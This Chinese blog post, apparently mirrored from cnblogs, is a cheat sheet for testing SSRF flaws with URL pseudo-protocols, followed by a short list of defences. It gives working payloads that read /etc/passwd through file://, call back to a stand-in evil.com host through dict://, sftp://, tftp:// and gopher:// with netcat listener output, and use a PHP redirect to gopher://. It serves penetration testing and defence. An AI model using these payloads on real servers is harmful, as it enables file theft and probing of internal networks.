zoukankan      html  css  js  c++  java
  • jQuery火箭图标返回顶部代码

    当我们发现SSRF漏洞后,首先要做的事情就是测试所有可用的URL伪协议

    0x01 类型

    file:///
    dict://
    sftp://
    ldap://
    tftp://
    gopher://
    

    file://

    这种URL Schema可以尝试从文件系统中获取文件:

    http://example.com/ssrf.php?url=file:///etc/passwdhttp://example.com/ssrf.php?url=file:///C:/Windows/win.ini
    

    如果该服务器阻止对外部站点发送HTTP请求,或启用了白名单防护机制,只需使用如下所示的URL Schema就可以绕过这些限制:

    dict://

    这种URL Scheme能够引用允许通过DICT协议使用的定义或单词列表:

    http://example.com/ssrf.php?dict://evil.com:1337/ 
    evil.com:$ nc -lvp 1337
    Connection from [192.168.0.12] port 1337[tcp/*] 
    accepted (family 2, sport 31126)CLIENT libcurl 7.40.0
    

    sftp://

    在这里,Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作。

    http://example.com/ssrf.php?url=sftp://evil.com:1337/ 
    evil.com:$ nc -lvp 1337
    Connection from [192.168.0.12] port 1337[tcp/*] 
    accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2
    

    ldap://或ldaps:// 或ldapi://

    LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。

    http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
    

    tftp://

    TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机。

    http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET 
    evil.com:# nc -lvup 1337
    Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3
    

    gopher://

    Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。

    http://example.com/ssrf.php?url=http://attacker.com/gopher.php
    
    <?php  header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');?>
    
    evil.com:# nc -lvp 1337
    Listening on [0.0.0.0] (family 0, port1337)Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 49398)Hissrftest
    

    0x02 防御

    1.禁止跳转
    2.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
    3.禁用不需要的协议,仅仅允许http和https请求。可以防止类似于file://, gopher://, ftp:// 等引起的问题
    4.设置URL白名单或者限制内网IP(使用gethostbyname()判断是否为内网IP)
    5.限制请求的端口为http常用的端口,比如 80、443、8080、8090
    6.统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
    

    0x03 参考链接

    https://xz.aliyun.com/t/6373#toc-8

  • 相关阅读:
    【洛谷 P4542】 [ZJOI2011]营救皮卡丘(费用流)
    【洛谷 P2604】 [ZJOI2010]网络扩容(最大流,费用流)
    【洛谷 P3191】 [HNOI2007]紧急疏散EVACUATE(二分答案,最大流)
    【CF802C】 Heidi and Library (hard)(费用流)
    【洛谷 P4134】 [BJOI2012]连连看(费用流)
    【洛谷 P3965】 [TJOI2013]循环格(费用流)
    【洛谷 P3227】 [HNOI2013]切糕(最小割)
    【洛谷 P4072】 [SDOI2016]征途(斜率优化)
    【洛谷 P4437】 [HNOI/AHOI2018]排列(贪心,堆)
    【洛谷 P4291】 [HAOI2008]排名系统(Splay,Trie)
  • 原文地址:https://www.cnblogs.com/-mo-/p/11673190.html
Copyright © 2011-2022 走看看